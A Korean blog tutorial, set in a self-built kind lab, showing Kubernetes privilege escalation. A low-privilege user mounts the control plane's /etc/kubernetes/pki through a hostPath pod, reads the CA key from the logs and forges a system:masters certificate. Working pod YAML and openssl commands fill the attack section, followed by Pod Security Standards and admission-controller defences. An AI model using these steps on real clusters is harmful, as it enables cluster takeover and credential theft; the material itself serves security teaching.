HostPath 볼륨으로 쿠버네티스 관리자 권한 해킹하기

쿠버네티스 클러스터를 해킹해 관리자 권한을 획득해보자!

당연한 얘기지만, 제대로 구성된 클러스터라면 관리자 권한을 획득하는 것이 사실상 불가능해야 정상이다. 하지만 프로덕션이 아닌 개발/테스트용 클러스터는 보안에 신경쓰지 않은 경우가 많다. 특히 Kubeadm 같은 걸로 대충 만들어놓고 아무 추가 조치도 취하지 않은 클러스터는 공격자에게 손쉽게 놀아날 수 있다.

이번 글에서는 클러스터에서 Pod 정도나 띄울 수 있는 일반 사용자가 hostPath 볼륨을 악용해 관리자 권한을 획득하는 방법을 다룬다.

아래 글도 읽어보는 것을 추천한다. 다른 Pod의 데이터를 훔치는 방법에 대해 설명한다.

이 글의 주제와는 조금 다르지만, 권한 허점을 이용해 컨테이너의 격리된 공간을 뚫는다는 점에서 맥락을 같이 한다.

원리

클러스터 CA

클라이언트는 쿠버네티스 API 서버에 요청 시 인증서를 제출한다. 이 인증서에는 클라이언트에 대한 정보가 담겨있다. API 서버가 클라이언트의 요청을 받으면 인증서의 서명을 확인한 다음, 인증서에서 정보를 읽어들여 클라이언트에게 적절한 권한을 부여한다.

즉, CA의 개인키를 탈취할 수만 있다면 어떤 내용의 인증서든 마음대로 위조해낼 수 있다는 뜻이다. 공격자가 “나는 관리자야” 라고 써넣은 위조 인증서를 API 서버한테 보여주면, 서버 입장에서는 어쨌든 서명 잘 된 올바른 인증서로 보이니 공격자에게 관리자 권한을 내어줄 수밖에 없다.

그렇다면 CA 개인키를 어떻게 얻을 수 있을까? 일반적으로 ca.crtca.key 파일은 컨트롤 플레인 호스트의 /etc/kubernetes/pki 디렉터리에 들어있다. 따라서 컨트롤 플레인 호스트에 직접 들어가서 키 파일을 빼오면 게임 끝! 이면 좋겠지만… 우리는 관리자가 아니니 당연히 호스트의 파일 시스템에 직접 접근할 정도의 파워는 없을 것이다. 다른 방법을 찾아야 한다.

hostPath 볼륨

쿠버네티스 볼륨 타입 중에 hostPath가 있다. 호스트의 파일 시스템을 그대로 가져다 마운트하는 모양이 Docker의 Bind mount하고 비슷하다. hostPath 볼륨은 직관적이고 이해하기 쉽지만, 공식 문서에서 “보안 문제가 있으니 쓰지 마세요” 라고 빨갛게 경고를 붙여놓았다.

경고의 의미를 마음 깊이 새기기 위해 hostPath로 보안 문제를 일으켜보자. 호스트의 /etc/kubernetes/pki 디렉터리를 Pod에 마운트할 수 있다면, 호스트에 직접 접근하지 않고도 Pod에서 CA 키를 읽을 수 있게 된다!

실습

실습 환경

클러스터: WSL Ubuntu 22.04에서 kind로 생성한 Kubernetes 1.27

굳이 kind가 아니어도 Minikube를 쓰든, Kubeadm으로 손수 만들든 적당한 클러스터이기만 하면 된다. 하지만 EKS 혹은 GKE 같이 컨트롤 플레인에 접근조차 못하는 환경에서는 당연히 실습이 불가능하다.

CA 키 위치 확인

CA 인증서와 키는 보통 /etc/kubernetes/pki에 있다고 했다. 확실히 짚고 넘어가기 위해 kube-apiserver Pod를 살펴보자.

kubectl describe pod -n kube-system kube-apiserver-kind-control-plane

아래와 같은 내용을 찾을 수 있을 것이다.

Command:
  kube-apiserver
  --advertise-address=172.18.0.2
  --allow-privileged=true
  --authorization-mode=Node,RBAC
  --client-ca-file=/etc/kubernetes/pki/ca.crt
  --enable-admission-plugins=NodeRestriction
  --enable-bootstrap-token-auth=true
  --etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt
...

여기서 --client-ca-file 부분을 보면 확실히 /etc/kubernetes/pki 안에 CA가 있음을 알 수 있다.

NOTE
공격자의 입장에선 kube-system 네임스페이스의 Pod 조회 권한이 없을 테니 해당 정보를 알아낼 수는 없다. 하지만 웬만해선 기본값인 /etc/kubernetes/pki으로 구성되어 있을 것이라고 가정할 수 있다. (가끔 /etc/kubernetes/ssl인 경우도 있다.)

신규 사용자 생성

해킹에 사용할 새로운 사용자를 생성해야 한다. 우리는 관리자가 아니라 일반 사용자로서 클러스터에 접근할 것이다. 사용자를 생성하는 방법은 공식 문서에도 설명되어있다.

개인키 및 CSR 생성

먼저 개인키와 인증서 요청(Certificate Signing Request, CSR)을 생성한다.

openssl genpkey -algorithm ED25519 -out gooduser.key
openssl req -new -key gooduser.key -out gooduser.csr -subj "/CN=gooduser/O=greatgroup"

여기서 CN(Common Name)과 O(Organization) 값은 쿠버네티스 클러스터에서 각각 사용자명과 그룹명에 대응된다.

생성한 gooduser.csr의 내용으로 클러스터에 CertificateSigningRequest를 생성한다.

kubectl apply -f - <<EOF
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
  name: gooduser-csr
spec:
  request: $(base64 -w0 gooduser.csr)
  signerName: kubernetes.io/kube-apiserver-client
  usages:
  - client auth
EOF

CSR 승인

방금 만든 CSR 확인.

kubectl get csr

CSR을 승인하여 사용자의 인증서를 생성한 다음, 인증서를 파일로 저장하자.

kubectl certificate approve gooduser-csr
kubectl get csr gooduser-csr -o jsonpath='{.status.certificate}' | base64 -d > gooduser.crt

역할 및 권한 할당

default 네임스페이스에서 RoleBinding 생성. Role은 그냥 원래 있던 admin을 갖다 쓴다.

kubectl create rolebinding owner-gooduser --clusterrole=admin --user=gooduser --namespace=default

kubeconfig 구성. 클러스터는 본인의 환경에 맞게 설정한다.

kubectl config set-credentials gooduser --client-key=gooduser.key --client-certificate=gooduser.crt --embed-certs
kubectl config set-context gooduser --cluster=kind-kind --user=gooduser
kubectl config use-context gooduser

이제부터 우리는 관리자가 아니라 gooduser로써 kubectl 클라이언트를 사용하게 된다.

사용자 gooduser는 default 네임스페이스의 모든 리소스에 대한 권한을 가진다. 하지만 다른 네임스페이스나 클러스터 수준의 리소스에는 접근할 수 없다.

$ kubectl get pod
No resources found in default namespace.

$ kubectl get pod -n kube-system
Error from server (Forbidden): pods is forbidden: User "gooduser" cannot list resource "pods" in API group "" in the namespace "kube-system"

사실 굳이 admin Role을 줄 것 까지도 없다. pods, pods/execpods/log 리소스에 대한 권한만 있어도 충분하다. 여기선 그냥 Role 하나 더 만들기 귀찮아서 원래 있는 Role을 사용했다.

공격하기

아래 YAML 구성 파일로 Pod를 생성해본다.

# pod-doggo-simple.yaml
apiVersion: v1
kind: Pod
metadata:
  name: doggo
spec:
  containers:
  - name: alpine
    image: alpine
    command:
    - sh
    - -c
    - cat /etc/kubernetes/pki/ca.key; cat /etc/kubernetes/pki/ca.crt; sleep 99999;
    volumeMounts:
    - mountPath: /etc/kubernetes/pki
      name: k8s-certs
  volumes:
  - name: k8s-certs
    hostPath:
      path: /etc/kubernetes/pki
$ kubectl apply -f pod-doggo-simple.yaml
pod/doggo created

$ kubectl get po
NAME    READY   STATUS    RESTARTS   AGE
doggo   1/1     Running   0          4s

여러분의 클러스터가 간단한 싱글 노드 구성이라면 무리없이 Pod가 실행될 것이다.

Pod가 정상적으로 실행되었다면, hostPath로 마운트된 ca.key 파일과 ca.crt 파일의 내용을 출력할 것이다. 로그를 확인해보자.

$ kubectl logs doggo
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAt9xd6DbNm9kGj2Jd1UjWPdtlVV3Y1KyhYYSaTBb9cPWs7rKO
...(생략)...

너무나 손쉽게 클러스터 CA 키를 얻어냈다.

그렇지만 이렇게 단번에 성공한 건 클러스터가 간단한 싱글 노드로 구성된 덕분이다. 컨트롤 플레인과 작업 노드가 분리된 클러스터라면 이렇게 순조롭지는 않을 것이다. Pod가 원하는 노드에 뜨지 않아서 파일이 없다는 에러가 뜨거나, 아니면 아예 스케줄에 실패해 Pod가 Pending 상태에 빠져버릴 수도 있다.

멀티 노드 클러스터에서도 공격이 통하도록 방법을 찾아보자.

kind로 실습하는 경우, 아무 설정도 하지 않으면 기본적으로 싱글 노드 클러스터가 생성된다. 멀티 노드 구성 방법은 문서 참고.

원하는 노드에 Pod 스케줄하기

우리의 목적은 컨트롤 플레인(control plane) 노드에 Pod를 띄우는 것이다.

Pod를 특정 노드에 할당하는 방법은 여러 가지가 있다. 그 중 nodeSelector를 이용해보자. nodeSelector에 노드 레이블을 지정하면 쿠버네티스는 사용자가 지정한 레이블이 있는 노드에만 Pod를 스케줄한다.

대부분의 컨트롤 플레인 노드에는 node-role.kubernetes.io/control-plane= 레이블이 붙어있다. 물론 언제나 그럴 것이라고 확신할 수는 없지만, 여기서는 일반적인 상황을 가정한다.
(참고: Well-Known Labels, Annotations and Taints)

Pod spec의 nodeSelector에 컨트롤 플레인 노드에만 있는 레이블을 지정하자.

  nodeSelector:
    node-role.kubernetes.io/control-plane: ""

하지만 이것만으로는 부족하다. 컨트롤 플레인에는 보통 테인트(Taint)가 걸려있어서 그냥은 스케줄이 되지 않기 때문에 적절한 톨러레이션(Toleration)이 필요하다.
(참고: Taints and Tolerations)

비어있는 keyExists operator의 조합으로 모든 테인트를 뚫는 톨러레이션을 적용할 수 있다.

  tolerations:
  - key: ""
    operator: "Exists"
    effect: "NoSchedule"

이제 nodeSelector로 지정한 컨트롤 플레인 노드에 어떤 테인트가 걸려있든 Pod를 스케줄하는 것이 가능해졌다.

완성된 YAML의 내용:

# pod-doggo-node-select.yaml
apiVersion: v1
kind: Pod
metadata:
  name: doggo
spec:
  containers:
  - name: alpine
    image: alpine
    command:
    - sh
    - -c
    - cat /etc/kubernetes/pki/ca.key; cat /etc/kubernetes/pki/ca.crt; sleep 99999;
    volumeMounts:
    - mountPath: /etc/kubernetes/pki
      name: k8s-certs
  volumes:
  - name: k8s-certs
    hostPath:
      path: /etc/kubernetes/pki
  nodeSelector:
    node-role.kubernetes.io/control-plane: ""
  tolerations:
  - key: ""
    operator: "Exists"
    effect: "NoSchedule"
kubectl apply -f pod-doggo-node-select.yaml
kubectl logs doggo

이제 터미널에서 로그 출력 내용을 잘 긁어서 ca.keyca.crt 파일로 저장한다.

새로운 kubeconfig 설정

CA 키를 탈취했으니, 이제 마음껏 system:masters 그룹에 해당되는 인증서를 찍어낼 수 있다.

openssl genrsa 2048 -out rogue.key
openssl req -new -key rogue.key -out rogue.csr -subj "/CN=rogue/O=system:masters"
openssl x509 -req -CA ca.crt -CAkey ca.key -CAcreateserial -in rogue.csr -out rogue.crt -days 365
kubectl config set-credentials rogue --client-key=rogue.key --client-certificate=rogue.crt --embed-certs
kubectl config set-context rogue --cluster=kind-kind --user=rogue
kubectl config use-context rogue

새롭게 설정한 컨텍스트를 통해 관리자 권한으로 클러스터에서 작업할 수 있다!

$ kubectl auth can-i delete namespaces -A
yes

$ kubectl auth can-i --list
Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]
...(생략)...

방어

이렇듯 컨테이너가 호스트에 접근하는 것을 통제하지 못하면 공격자가 호스트의 정보를 빼내거나 변조할 수 있다.

그래서 기본적으로 hostPath 타입의 볼륨은 금지해야 한다. 그 외에도 컨테이너의 권한 통제를 위한 추가 조치를 적용하는 것이 좋다.

hostPath 볼륨 금지

PodSecurity Admission Controller는 Pod가 보안 정책을 준수하도록 강제할 수 있다.

Pod의 보안 정책은 Pod Security Standards에 정의되어있으며 Privileged, Baseline, Restricted 3단계로 나뉜다. 이 중 Baseline 혹은 Restricted 정책을 적용하여 hostPath 볼륨을 포함한 Pod의 권한 상승 수단을 제한할 수 있다. Baseline 정책으로 최소한의 보안만 적용해도 사고를 예방할 수 있다.

네임스페이스에 레이블을 추가하는 것으로 간단히 적용할 수 있다.

kubectl label --overwrite ns my-namespace \
  pod-security.kubernetes.io/enforce=baseline \
  pod-security.kubernetes.io/enforce-version=latest
apiVersion: v1
kind: Namespace
metadata:
  name: my-namespace
  labels:
    pod-security.kubernetes.io/enforce: baseline
    pod-security.kubernetes.io/enforce-version: latest

어쩔 수 없는 이유로 hostPath 볼륨을 사용해야 하지만 Privileged로 다 풀어놓고 싶지는 않다면, Kyverno같은 서드파티 컨트롤러로 더 세세하게 정책을 설정할 수 있다.

Toleration 및 Node selector 제한

Pod를 멋대로 컨트롤 플레인 노드에 스케줄하는 것을 막아야 한다.

PodTolerationRestrictionPodNodeSelector Admission Controller로 각각 톨러레이션과 노드 셀렉터의 사용을 제한할 수 있다.

이들 컨트롤러는 기본적으로 비활성화 되어있기 때문에 API 서버의 --enable-admission-plugins 플래그에서 활성화시켜야 한다.

Root 컨테이너 금지

컨테이너가 루트(root) 권한으로 호스트에 접근하는 것은 보안 위협이 될 수 있다. 우리가 호스트의 키 파일을 읽을 수 있었던 것도 컨테이너 프로세스가 루트로 실행되었기 때문이다.

위에서 살펴본 PodSecurity Admission Controller에서 Restricted 정책을 적용해 컨테이너를 루트로 실행하는 것을 금지할 수 있다.

다만 루트 컨테이너를 막아버리면 개발자 입장에서는 귀찮은 상황이 발생할 수 있다는 점은 유의해야 한다. 루트가 아니면 에러를 내는 이미지도 있기 때문 (예를 들어 Nginx).

결론

쿠버네티스 API 서버로의 액세스 제어는 크게 3단계로 나뉜다.

  1. 인증 (Authenticatoin, AuthN)
  2. 권한 부여 (Authorization, AuthZ)
  3. Admission Control

이 글에서 살펴보았듯이 인증권한 부여만으로는 클러스터 보안을 온전히 책임질 수 없다.

Admission Control 단계에 취약성이 없도록 정책을 세우고 관리하는 것도 클러스터 관리자의 중요한 책임이다.


참고 자료

https://faun.pub/from-dev-to-admin-an-easy-kubernetes-privilege-escalation-you-should-be-aware-of-the-attack-950e6cf76cac